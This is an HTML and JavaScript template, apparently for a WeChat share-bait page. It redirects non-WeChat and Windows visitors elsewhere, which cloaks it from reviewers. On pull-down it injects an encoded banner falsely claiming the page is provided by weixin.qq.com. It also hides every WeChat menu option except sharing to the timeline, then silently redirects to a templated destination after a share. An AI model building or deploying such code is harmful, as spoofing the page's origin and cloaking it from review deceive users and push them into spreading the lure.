
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <meta name="viewport" content="width=device-width,height=device-height,inital-scale=1.0,maximum-scale=1.0,user-scalable=no"/>
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-status-bar-style" content="black">
    <meta name="format-detection" content="telephone=no">
    <title>...</title>
    <script src="http://libs.baidu.com/jquery/1.8.2/jquery.min.js"></script>
     <script src="http://res.wx.qq.com/open/js/jweixin-1.0.0.js"></script>
</head>
<body id="mgs" style="TEXT-ALIGN: center;overflow-y:hidden;height:500px;">
<style>
    html, body, div, object, pre, code, h1, h2, h3, h4, h5, h6, p, span, em, cite, del, a, img, ul, li, ol, dl, dt, dd, fieldset, legend, form, input, button, textarea, header, section, footer, article, nav, aside, menu, figure, figcaption {
    margin:0;
    padding:0;
    font-family:Microsoft YaHei,Helvitica,Verdana,Tohoma,Arial,san-serif;
    outline:none
}
    fieldset, img {
    border:0;
}
html, body {
    width:100%;
    overflow-x:hidden
}
html {
    -webkit-text-size-adjust:none;
}
body {
    font-family:Microsoft YaHei,Helvitica,Verdana,Tohoma,Arial,san-serif;
    margin:0;
    padding: 0;
    color:#666;text-decoration: none;
    background-color:#000;
    font-size:14px;
}

a {
    text-decoration:none;
    color:#464646;
    outline:none;
}
a, li, input, button {
    outline:none;
}
    .tt {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0, 0, 0, 0.7);
display: none;
z-index: 20000;
}
</style>
     <div id="tb"  style=" display:block; text-align:right">
         <!-- <img style="width:100%;heigth:100%;" src="http://qqpublic.qpic.cn/qq_public/0/0-2566522243-94DC54AEBA6B1824CFC561601C0362F8/0"> -->
        <img style="width:100%;heigth:100%;" src="http://static-resource.ufile.ucloud.com.cn/u.png">
    </div>
     <input id="auto2" type="hidden"  onClick="javascript:location.replace('{$data.arrive}')" />
    <script type="text/javascript">
    function autoclick(name){
        if(document.all){document.getElementById(name).click();
        }else{
            var evt = document.createEvent("MouseEvents");
            evt.initEvent("click", true, true);
            document.getElementById(name).dispatchEvent(evt);
    }}
</script>

 <script>

var nu =navigator.userAgent.toLowerCase();
 if (nu.indexOf("micromessenger")>-1)
    {
        document.write("");
    }else{
        window.location.href="http://www.baidu.com";
    }

    if(navigator.platform == "Win32")
    {
        window.location.href="http://www.qq.com";
    }
var clientWidth = document.documentElement.clientWidth > 640 ? 640 : document.documentElement.clientWidth;

var doc = $(document);
var _touches_point1 = 0;
var _touches_point2 = 0;
addEventListener("touchstart",
    function(e) {
        _touches_point1 = e.touches[0].pageY
    });
addEventListener("touchmove",
    function(e) {
        _touches_point2 = e.touches[0].pageY;
        if (doc.scrollTop() <= 0 && _touches_point1 < _touches_point2) {
            e.preventDefault();
            if ($('#_domain_display').length <= 0) {
                $('body').prepend(decodeURIComponent('%3Cdiv%20id%3D%22_domain_display%22%20style%3D%22text-align%3Acenter%3Bbackground-color%3A%23272b2e%3Bcolor%3A%2365696c%3Bheight%3A0px%3Bpadding%3A15px%200%3Bline-height%3A36px%3Bfont-size%3A12px%3Boverflow%3Ahidden%3B%22%3E%3Cp%3E%E7%BD%91%E9%A1%B5%E7%94%B1%20weixin.qq.com%20%E6%8F%90%E4%BE%9B%3C%2Fp%3E%3C%2Fdiv%3E'))
            }
            $('#_domain_display').height((_touches_point2 - _touches_point1))
        }
    });
addEventListener("touchend",
    function(e) {
        $('#_domain_display').slideUp('normal',
            function() {
                $('#_domain_display').remove()
            })
    });

    $(function () {
            $.get("/index/red/shareData?url=" + encodeURIComponent(location.href.split('#')[0]) + '&_=' + Date.now(),'',function(rData){
            result = JSON.parse(rData);
            window.data = result;
            wx.config(window.data.config);
            wx.ready(function(){
                wx.hideOptionMenu();
                wx.showMenuItems({menuList:['menuItem:share:timeline']});
                // share_config(window.data);
                wx.onMenuShareTimeline({
                    title: "{$data.title}",
                    link: "{$data.jurl}",
                    imgUrl: "{$data.img}",
                    success: function () {
                        autoclick("auto2");
                    },
                    cancel: function () {}
                });
            });
        });
    });
        </script>
</body>

</html>
